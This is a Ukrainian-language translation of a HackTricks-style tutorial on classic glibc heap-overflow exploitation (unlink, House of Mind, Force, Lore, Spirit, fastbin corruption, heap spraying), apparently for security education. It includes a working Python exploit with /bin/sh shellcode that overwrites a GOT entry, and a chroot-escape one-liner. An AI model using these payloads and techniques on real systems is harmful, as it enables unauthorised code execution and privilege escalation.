Адміністратор може вийти з таких "кліток", створивши: mkdir foo; chroot foo; cd ..

Інструментування коду

Valgrind —> Шукає помилки Memcheck RAD (Return Address Defender) Insure++

8 Переповнення купи: Основні експлойти

Виділений шматок

prev_size | size | —Заголовок *mem | Дані

Вільний шматок

prev_size | size | *fd | Вказівник на наступний шматок *bk | Вказівник на попередній шматок —Заголовок *mem | Дані

Вільні шматки знаходяться в подвійно зв'язаному списку (bin) і ніколи не можуть бути два вільних шматки поруч (їх об'єднують).

У "size" є біти для позначення: чи попередній шматок використовується, чи шматок був виділений за допомогою mmap() і чи шматок належить до основного арени.

Якщо при звільненні шматка який-небудь з сусідніх є вільним, вони об'єднуються за допомогою макроса unlink() і новий найбільший шматок передається frontlink() для вставки відповідного bin.

unlink(){ BK = P->bk; —> BK нового шматка - це той, який був у вільному шматку до цього FD = P->fd; —> FD нового шматка - це той, який був у вільному шматку до цього FD->bk = BK; —> BK наступного шматка вказує на новий шматок BK->fd = FD; —> FD попереднього шматка вказує на новий шматок }

Отже, якщо нам вдасться змінити P->bk на адресу shellcode і P->fd на адресу запису в GOT або DTORS мінус 12, досягнемо:

BK = P->bk = &shellcode FD = P->fd = &__dtor_end__ - 12 FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

І таким чином shellcode виконається при виході з програми.

Крім того, 4-е вираз unlink() записує щось, і shellcode повинна бути виправлена для цього:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Це призводить до запису 4 байтів починаючи з 8-го байта shellcode, тому перша інструкція shellcode повинна бути jmp, щоб пропустити це і перейти до nops, які ведуть до решти shellcode.

Отже, експлойт створюється так:

У буфер1 ми вставляємо shellcode, починаючи з jmp, щоб вона потрапила в nops або до решти shellcode.

Після shell code вставляємо заповнення до досягнення поля prev_size та size наступного шматка. В цих місцях ми вставляємо 0xfffffff0 (щоб перезаписати prev_size, щоб вказати, що він вільний) і “-4“(0xfffffffc) в size (щоб при перевірці в 3-му шматку, чи 2-й був вільний, насправді перейти до зміненого prev_size, який скаже, що він вільний) -> Таким чином, коли free() досліджує, він перейде до size 3-го, а насправді перейде до 2-го - 4 і вважатиме, що 2-й шматок вільний. І тоді викличе unlink().

При виклику unlink() використовується як P->fd перші дані 2-го шматка, тому туди вставляється адреса, яку потрібно перезаписати - 12 (оскільки в FD->bk він додасть 12 до адреси, збереженої в FD). І в цю адресу вставляється друга адреса з 2-го шматка, яка повинна бути адресою shellcode (фальшивий P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Цікаво, що біт, який вказує, що попередній шматок вільний, дорівнює 1

fake_size = pack("<I”, 0xfffffffc) #-4, щоб вважати, що "size" 3-го шматка знаходиться на 4 байти позаду (вказує на prev_size), оскільки саме там перевіряється, чи вільний 2-й шматок

addr_sc = pack("<I", 0x0804a008 + 8) #У пейлоуді спочатку ми додаємо 8 байтів заповнення

got_free = pack("<I", 0x08048300 - 12) #Адреса free() в plt-12 (це адреса, яка буде перезаписана, щоб запустити shellcode при другому виклику free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Як було сказано, пейлоуд починається з 8 байтів заповнення

payload += prev_size + fake_size + got_free + addr_sc #Модифікуємо 2-й шматок, got_free вказує на місце, де ми збережемо адресу addr_sc + 12

os.system("./8.3.o " + payload)

unset() вивільнення в зворотньому напрямку (wargame)

Ми контролюємо 3 послідовні шматки, які вивільняються у зворотньому порядку відведення.

У цьому випадку:

У шматку c ми розміщуємо shellcode

Шматок a ми використовуємо для перезапису b так, щоб біт PREV_INUSE був вимкнений, щоб програма вважала, що шматок a вільний.

Крім того, в шапці b перезаписується розмір, щоб він дорівнював -4.

Отже, програма вважатиме, що "a" вільний і знаходиться в біні, тому вона викличе unlink() для його роз'єднання. Однак, оскільки розмір PREV_SIZE дорівнює -4, вона вважатиме, що шматок "a" починається на b+4. Іншими словами, вона викличе unlink() для шматка, який починається на b+4, тому в b+12 буде вказівник "fd", а в b+16 буде вказівник "bk".

Отже, якщо ми встановимо адресу shellcode в bk і адресу функції "puts()"-12 в fd, ми отримаємо наш пейлоуд.

Техніка Frontlink

Frontlink викликається, коли щось вивільняється, і жоден з його сусідніх шматків не є вільним, unlink() не викликається, але безпосередньо викликається frontlink().

Корисна вразливість, коли атакований malloc ніколи не вивільняється (free()).

Потрібно:

Буфер, який може бути переповнений функцією введення даних

Буфер поруч з цим, який повинен бути вивільнений, і до якого буде внесено зміни у поле fd його шапки завдяки переповненню попереднього буфера

Буфер для вивільнення з розміром більше 512, але менше, ніж у попередньому буфері

Буфер, оголошений перед кроком 3, який дозволяє перезаписати prev_size цього

Таким чином, здійснюючи перезапис в двох mallocs без контролю і в одному контрольованому, який вивільняється лише один раз, ми можемо створити експлойт.

Подвійна вразливість free()

Якщо free() викликається двічі з тим самим вказівником, залишаються два біни, які вказують на ту саму адресу.

Якщо потрібно знову використовувати один, його можна призначити без проблем. Якщо потрібно використовувати інший, йому буде призначено той самий простір, тому ми матимемо фальшиві вказівники "fd" і "bk" з даними, які записує попереднє виділення.

Після free()

Раніше вивільнений вказівник використовується знову без контролю.

8 Переповнення купи: Розширені експлойти

Техніки Unlink() та FrontLink() були видалені при зміні функції unlink().

The house of mind

Для виклику коду за власним вибором потрібен лише один виклик free(). Цікаво знайти другий шматок, який може бути переповнений попереднім і вивільнений.

Виклик free() призводить до виклику public_fREe(mem), який робить:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Повертає вказівник на адресу початку шматка (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

У [1] перевіряється поле size біт NON_MAIN_ARENA, яке можна змінити, щоб перевірка повертала true і виконувалася heap_for_ptr(), яка виконує and до "mem", змінюючи на 0 2,5 менш важливих байтів (у нашому випадку з 0x0804a000 виходить 0x08000000) і отримує доступ до 0x08000000->ar_ptr (як до структури heap_info)

Отже, якщо ми можемо контролювати шматок, наприклад, у 0x0804a000, і шматок у 0x081002a0 буде вивільнений, ми можемо дістатися до адреси 0x08100000 і записати туди все, що завгодно, наприклад 0x0804a000. Коли цей другий шматок буде вивільнений, він побачить, що heap_for_ptr(ptr)->ar_ptr повертає те, що ми записали в 0x08100000 (оскільки до 0x081002a0 застосовується and, який ми бачили раніше, і звідти витягується значення перших 4 байтів, ar_ptr)

Отже, викликається _int_free(ar_ptr, mem), тобто _int_free(0x0804a000, 0x081002a0) _int_free(mstate av, Void_t* mem){ … bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p;

..}

Як ми бачили раніше, ми можемо контролювати значення av, оскільки це те, що ми записуємо в шматок, який буде вивільнений.

Як визначено unsorted_chunks, ми знаємо, що: bck = &av->bins[2]-8; fwd = bck->fd = *(av->bins[2]); fwd->bk = *(av->bins[2] + 12) = p;

Отже, якщо ми записуємо значення __DTOR_END__-12 в av->bins[2], у останній інструкції буде записано в __DTOR_END__ адресу другого шматка.

Іншими словами, в першому шматку на початку ми повинні декілька разів записати адресу __DTOR_END__-12, оскільки av->bins[2] витягне її звідти

В адресі, куди падає адреса другого шматка з останніми 5 нулями, потрібно записати адресу цього першого шматка, щоб heap_for_ptr() думав, що ar_ptr знаходиться на початку першого шматка і витягував звідти av->bins[2]

У другому шматку, завдяки першому, ми перезаписуємо prev_size зі стрибком 0x0c і розміром з чимось для активації -> NON_MAIN_ARENA

Потім у другому шматку ми додаємо купу nops і, нарешті, shellcode

Отже, буде викликано _int_free(TROZO1, TROZO2), і виконається інструкція для запису в __DTOR_END__ адреси prev_size TROZO2, який стрибне до shellcode.

Для застосування цієї техніки потрібно виконати деякі додаткові вимоги, які ускладнюють пейлоуд. Ця техніка вже не застосовується, оскільки було застосовано майже той самий патч, що і для unlink. Порівнюють, чи нове місце, на яке вказується, також вказує на нього.

Fastbin

Це варіант The house of mind

нас цікавить виконання наступного коду, який виконується після перевірки функції _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Де fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Таким чином, якщо в "fb" вказується адреса функції в GOT, на цю адресу буде встановлено адресу перезаписаного шматка. Для цього потрібно, щоб арена була близькою до адрес dtors. Конкретніше, av->max_fast повинен бути в адресі, яку ми збираємося перезаписати.

Оскільки з The House of Mind ми бачили, що ми контролюємо позицію av.

Тому, якщо в поле size ми встановимо розмір 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() поверне fastbins[-1], який вказуватиме на av->max_fast

У цьому випадку av->max_fast буде адресою, яка буде перезаписана (не на яку вказує, а саме ця позиція буде перезаписана).

Крім того, потрібно, щоб шматок поруч з вивільненим був більшим за 8 -> Оскільки ми сказали, що розмір вивільненого шматка - 8, у цьому фальшивому шматку потрібно лише встановити розмір більше 8 (оскільки shellcode також буде в шматку, який вивільнюється, потрібно встановити спочатку jmp, який призведе до nops).

Крім того, цей самий фальшивий шматок повинен бути меншим за av->system_mem. av->system_mem знаходиться на 1848 байтів далі.

Через нулі з _DTOR_END_ та обмежену кількість адрес в GOT, жодна з цих секцій не підходить для перезапису, тому давайте подивимося, як застосувати fastbin для атаки на стек.

Інший спосіб атаки - перенаправити av на стек.

Якщо ми змінимо розмір на 16 замість 8, тоді: fastbin_index() поверне fastbins[0] і ми можемо скористатися цим для перезапису стеку.

Для цього не повинно бути жодного canary або дивних значень на стеці, фактично ми повинні знайтися в такому: 4 байти нулів + EBP + RET

4 байти нулів потрібні, щоб av був на цій адресі, і перший елемент av - це mutex, який повинен дорівнювати 0.

av->max_fast буде EBP і буде значенням, яке дозволить нам обійти обмеження.

У av->fastbins[0] буде перезаписано адресу p і буде RET, тому він перейде до shellcode.

Крім того, в av->system_mem (1484 байти вище від позиції на стеці) буде достатньо сміття, що дозволить нам обійти перевірку.

Крім того, потрібно, щоб шматок поруч з вивільненим був більшим за 8 -> Оскільки ми сказали, що розмір вивільненого шматка - 16, у цьому фальшивому шматку потрібно лише встановити розмір більше 8 (оскільки shellcode також буде в шматку, який вивільнюється, потрібно встановити спочатку jmp, який призведе до nops, які йдуть після поля size нового фальшивого шматка).

The House of Spirit

У цьому випадку ми шукаємо вказівник на malloc, який може бути змінений зловмисником (наприклад, вказівник знаходиться на стеці під можливим переповненням змінної).

Таким чином, ми могли б зробити цей вказівник вказувати куди завгодно. Однак не будь-яке місце підходить, розмір фальшивого шматка повинен бути меншим за av->max_fast і, більш конкретно, дорівнювати розміру, запитаному у майбутньому виклику malloc()+8. Тому, якщо ми знаємо, що після цього вразливого вказівника викликається malloc(40), розмір фальшивого шматка повинен дорівнювати 48.

Наприклад, якщо програма запитує користувача про число, ми можемо ввести 48 і вказати вказівник malloc на наступні 4 байти (які можуть належати EBP, з удачею, таким чином, 48 залишається позаду, якщо це буде заголовок size). Крім того, адреса ptr-4+48 повинна відповідати декільком умовам (у цьому випадку ptr=EBP), тобто 8 < ptr-4+48 < av->system_mem.

Якщо це виконується, коли викликається наступний malloc, який ми сказали, що це malloc(40), йому буде призначено адресу EBP. Якщо зловмисник також може контролювати те, що записується в цей malloc, він може перезаписати як EBP, так і EIP будь-якою адресою, яку він хоче.

Це, мабуть, тому, що коли free() вивільняє, він зберігає, що в адресі, яка вказує на EBP стеку, є шматок ідеального розміру для нового malloc(), який потрібно резервувати, тому він призначає цю адресу.

The House of Force

Потрібно:

  • Переповнення шматка, яке дозволяє перезаписати wilderness

  • Виклик malloc() із розміром, визначеним користувачем

  • Виклик malloc(), дані якого можуть бути визначені користувачем

Спочатку розмір шматка wilderness перезаписується значенням дуже великим (0xffffffff), тому будь-яке достатньо велике прохання про пам'ять буде оброблено в _int_malloc() без необхідності розширення купи

Друге - змінити av->top, щоб він вказував на область пам'яті під контролем зловмисника, таку як стек. У av->top буде &EIP - 8.

Ми повинні перезаписати av->top, щоб він вказував на область пам'яті під контролем зловмисника:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim отримує значення адреси поточного шматка wilderness (поточний av->top), а remainder - це саме сума цієї адреси плюс кількість байтів, запитаних malloc(). Тому, якщо &EIP-8 знаходиться за адресою 0xbffff224, а av->top містить 0x080c2788, тоді кількість, яку ми повинні зарезервувати в контрольованому malloc, щоб av->top вказував на $EIP-8 для наступного malloc(), буде:

0xbffff224 - 0x080c2788 = 3086207644.

Таким чином, змінений значення буде збережено в av->top, і наступний malloc вказуватиме на EIP і може бути перезаписаний.

Важливо знати, що розмір нового шматка wilderness повинен бути більшим за запит, зроблений останнім malloc(). Іншими словами, якщо wilderness вказує на &EIP-8, розмір буде точно в полі EBP стеку.

The House of Lore

Корупція SmallBin

Вивільнені шматки вводяться в bin в залежності від їх розміру. Але перед тим, як їх вводити, вони зберігаються в unsorted bins. Шматок, який вивільнюється, не вводиться безпосередньо в свій bin, а залишається в unsorted bins. Потім, якщо резервується новий шматок і попередній вивільнений може йому підійти, він повертається, але якщо резервується більший, вивільнений шматок в unsorted bins вводиться в відповідний bin.

Щоб досягти вразливого коду, запит пам'яті повинен бути більшим за av->max_fast (зазвичай 72) і меншим за MIN_LARGE_SIZE (512).

Якщо в bin є шматок відповідного розміру, він повертається після роз'єднання:

bck = victim->bk; Вказує на попередній шматок, це єдине, що ми можемо змінити.

bin->bk = bck; Попередній шматок стає останнім, якщо bck вказує на стек, наступному зарезервованому шматку буде надана ця адреса

bck->fd = bin; Закриваємо список, зробивши його вказувати на bin

Потрібно: Резервування двох malloc, так щоб перший міг переповнитися після того, як другий був звільнений і включений у свій бін (тобто, було зарезервовано malloc, який більше за другий шматок перед переповненням)

Malloc, який був зарезервований за адресою, обраною зловмисником, повинен бути під контролем зловмисника.

Мета полягає в тому, що якщо ми можемо переповнити купу, яка має вже звільнений шматок у своєму біні, ми можемо змінити його вказівник bk. Якщо ми змінимо вказівник bk і цей шматок стане першим у списку бінів і буде зарезервований, бін буде обманутий і вважатиме, що наступний шматок у списку (наступний для надання) знаходиться за фальшивою адресою, яку ми вказали (наприклад, на стеку або GOT). Таким чином, якщо знову зарезервувати інший шматок і зловмисник матиме дозвіл на нього, йому буде надано шматок у бажаному положенні, і він зможе записати в нього.

Після звільнення зміненого шматка необхідно зарезервувати шматок, який більший за звільнений, тоді змінений шматок вийде з несортованих бінів і буде включений у свій бін.

Після того, як він у своєму біні, час змінити йому вказівник bk через переповнення, щоб він вказував на бажану адресу.

Таким чином, бін повинен зачекати, поки malloc() буде викликано достатню кількість разів, щоб знову використати змінений бін і обманути бін, змушуючи його вважати, що наступний шматок знаходиться за фальшивою адресою. Потім буде надано шматок, який нас цікавить.

Щоб вразити вразливість якнайшвидше, ідеально: резервування вразливого шматка, резервування шматка, який буде змінено, звільнення цього шматка, резервування шматка, який більший за той, який буде змінено, зміна шматка (вразливість), резервування шматка такого ж розміру, як порушений, і резервування другого шматка такого ж розміру, який буде вказувати на обрану адресу.

Для захисту від цього нападу використовується типова перевірка того, що шматок "не" є фальшивим: перевіряється, чи вказує bck->fd на жертву. Іншими словами, у нашому випадку, якщо вказівник fd* фальшивого шматка, вказаний на стеку, вказує на жертву. Щоб обійти цей захист, зловмисник повинен змогти якимось чином (найімовірніше, через стек) записати в потрібну адресу адресу жертви. Це зробить шматок справжнім.

Корупція LargeBin

Потрібні ті ж умови, що й раніше, і деякі додаткові, крім того, зарезервовані шматки повинні бути більшими за 512.

Атака схожа на попередню, тобто потрібно змінити вказівник bk і викликати всі ці виклики malloc(), але також потрібно змінити розмір зміненого шматка так, щоб цей розмір - nb був < MINSIZE.

Наприклад, потрібно встановити розмір 1552, щоб 1552 - 1544 = 8 < MINSIZE (віднімання не може бути від'ємним, оскільки порівнюється беззнакове число)

Крім того, було введено патч для ускладнення цього ще більше.

Розпилення купи

Основна ідея полягає в тому, щоб зарезервувати якомога більше пам'яті для куп та заповнити їх матрацем з nops, завершених shellcode. Крім того, як матрац використовується 0x0c. Таким чином, спробуємо перейти за адресу 0x0c0c0c0c, і якщо будь-яка адреса, на яку буде викликано з цим матрацем, буде перезаписана, ми перейдемо туди. Основна тактика полягає в тому, щоб зарезервувати якнайбільше, щоб побачити, чи буде перезаписано якийсь вказівник, і перейти до 0x0c0c0c0c, сподіваючись, що там будуть nops.

Heap Feng Shui

Полягає в тому, що за допомогою резервувань та звільнень сементується пам'ять так, що між вільними шматками залишаються зарезервовані шматки. Буфер для переповнення буде розташований в одному з цих шматків.

objdump -d виконуваний файл —> Розібрати функції objdump -d ./PROGRAMA | grep FUNCION —> Отримати адресу функції objdump -d -Mintel ./shellcodeout —> Для перевірки, що це дійсно наша shellcode та витягнення OpCodes objdump -t ./exec | grep varBss —> Таблиця символів, для витягнення адреси змінних та функцій objdump -TR ./exec | grep exit(func lib) —> Для витягнення адреси функцій бібліотек (GOT) objdump -d ./exec | grep funcCode objdump -s -j .dtors /exec objdump -s -j .got ./exec objdump -t --dynamic-relo ./exec | grep puts —> Витягає адресу puts для перезапису в GOT objdump -D ./exec —> Розібрати ВСЕ до входів plt objdump -p -/exec Info functions strncmp —> Інформація про функцію в gdb

Цікаві курси

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated